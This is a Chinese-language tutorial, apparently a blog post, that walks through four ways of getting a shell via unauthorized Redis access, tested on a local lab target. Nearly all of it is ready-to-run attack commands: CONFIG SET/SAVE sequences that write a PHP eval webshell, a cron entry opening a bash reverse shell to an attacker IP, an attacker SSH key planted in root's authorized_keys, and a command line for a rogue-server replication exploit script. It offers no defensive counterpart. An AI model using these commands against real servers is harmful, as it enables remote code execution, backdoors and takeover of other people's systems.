Redis数据库四种getshell方法研究

一、直接写入webshell

前置条件:已经目标网站的服务路径。(通常利用网站根目录,确保shell文件能被解析)。

步骤如下:

php 复制代码
1.查看 Redis 当前的 dir 配置
CONFIG GET dir
2.修改 dir 为 Nginx 网页根目录
CONFIG SET dir /usr/share/nginx/html
3.修改 RDB 持久化文件名为 PHP 文件
CONFIG SET dbfilename shell.php
4.写入 PHP 一句话木马
SET webshell "<?php @eval($_POST['cmd']);?>"
5.触发 RDB 持久化
SAVE

本地靶场复现截图:

二、定时任务写入反弹Shell​

通过写入 Linux 定时任务(crontab)实现反弹 Shell。这种方式无需依赖 Nginx/PHP 等 Web 服务,是 Redis 未授权访问攻击中更隐蔽、更通用的手段(适配无 Web 服务的 Redis 服务器)。

核心原理:Linux 系统中,crond 守护进程会每分钟检查 /var/spool/cron/root(root 用户的定时任务文件),执行里面的命令;Redis 利用 CONFIG SET 修改持久化目录为定时任务目录、文件名改为 root,将反弹 Shell 命令写入该文件,系统会自动执行命令,让靶机主动连接攻击机的监听端口,实现控制。

前置条件:能连接上redis数据库。

步骤如下:

php 复制代码
首先在kali开启监听端口:nc -lvvp 6666
然后写入定时任务:
1.	修改持久化目录为 CentOS 定时任务目录
CONFIG SET dir /var/spool/cron/
2.	修改 RDB 文件名为 root(对应 root 用户的定时任务文件) 
CONFIG SET dbfilename root
3.	写入反弹 Shell 定时任务命令
SET cron "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.0.241/6666 0>&1\n"
4.	触发 RDB 持久化(将命令写入 /var/spool/cron/root 文件) 
SAVE

截图:

靶机成功上线

三、写SSH公钥登录服务器​

原理:Linux SSH 公钥认证的核心是「客户端(Kali)的公钥写入服务端(CentOS)/root/.ssh/authorized_keys 文件」,服务端 SSH 服务会验证该文件中的公钥,匹配成功则免密码登录。Redis 利用 CONFIG SET 修改持久化目录为 /root/.ssh/、文件名改为 authorized_keys,将 Kali 的 SSH 公钥写入该文件,从而实现免密码登录。

前置条件:

1.受害机器SSH 服务正常运行

2.Redis有权限写入/root/.ssh/

步骤:

先在攻击机上生成SSH密钥对

php 复制代码
1.ssh-keygen -t rsa  #生成密钥对
2.cat /root/.ssh/id_rsa.pub   #查看

步骤如下:

php 复制代码
1.修改持久化目录为 root 的 .ssh 目录
CONFIG SET dir /root/.ssh/
2.修改 RDB 文件名为 authorized_keys(SSH 公钥认证的核心文件)
CONFIG SET dbfilename authorized_keys
3.写入 Kali 的 SSH 公钥(替换为你复制的公钥内容,保留双引号)
SET sshkey "\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQ...省略...w== root@kali\n"
4.触发 RDB 持久化(将公钥写入 /root/.ssh/authorized_keys)
SAVE

注意:

公钥前后加 \n:避免 Redis RDB 二进制头混入公钥文件,确保公钥单独成行(SSH 对 authorized_keys 格式敏感,多余字符会导致认证失败)

截图:

直接ssh连接成功

​​四:Redis主从复制GetShell​

原理:

  • Redis 主从复制:Redis 支持「主节点(master)- 从节点(slave)」架构,从节点会主动同步主节点的所有数据、配置,甚至能向主节点请求「加载自定义模块」;
  • Redis 模块机制 :Redis 4.0+ 新增 MODULE 命令,允许加载 .so 格式的共享库文件(模块),扩展 Redis 原生命令(比如新增 system.exec 命令来执行系统指令)。

核心优势:相比前三种方式,无需依赖 Web/SSH/crond 服务,无需写入文件,仅利用 Redis 自身机制即可 Getshell,隐蔽性拉满。

版本要求:

  • 适用:Redis 4.0.x/ 5.0.x
  • 不适用:Redis 6.0+(新增模块加载权限校验)、7.0+(防护更严格)

这里我看网上有很多教程,有的比较复杂,这里使用一种最简单的,用一位师傅写的脚本来实现一getshell:

php 复制代码
1.克隆到本地
git clone https://github.com/Dliv3/redis-rogue-server.git
2.切换目录
cd redis-rogue-server
3.一键运行脚本
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>

--passwd 如果目标Redis服务开启了认证功能,可以通过该选项指定密码

截图:

相关推荐
紫微AI1 小时前
文件系统就是新的数据库:我是如何为 AI Agent 构建个人操作系统的
数据库·人工智能
Rhystt2 小时前
furryCTF 题解|Web方向|保姆级详解|固若金汤、DeepSleep
git·python·安全·web安全·网络安全
Coder_Boy_2 小时前
技术交流总结:分布式、数据库、Spring及SpringBoot核心知识点梳理
数据库·spring boot·分布式·spring·微服务
专注VB编程开发20年2 小时前
单服务器的 IIS + ASP.NET页面来说不需要redis
数据库·redis·缓存
知识分享小能手2 小时前
SQL Server 2019入门学习教程,从入门到精通,SQL Server 2019 新增功能 — 语法知识点及使用方法详解(20)
数据库·学习·sqlserver
禹凕2 小时前
MySQL ALTER 命令详解:灵活修改表结构的终极指南
数据库·mysql
Coder_Boy_2 小时前
技术交流总结:分布式、数据库、Spring及SpringBoot核心知识点梳理(实现参考)
数据库·spring boot·分布式·spring·架构
想不明白的过度思考者2 小时前
Spring Boot 实战:MyBatis 操作数据库(上)
java·数据库·spring boot·mysql·mybatis
此生只爱蛋2 小时前
【MySQL】存储过程
数据库·mysql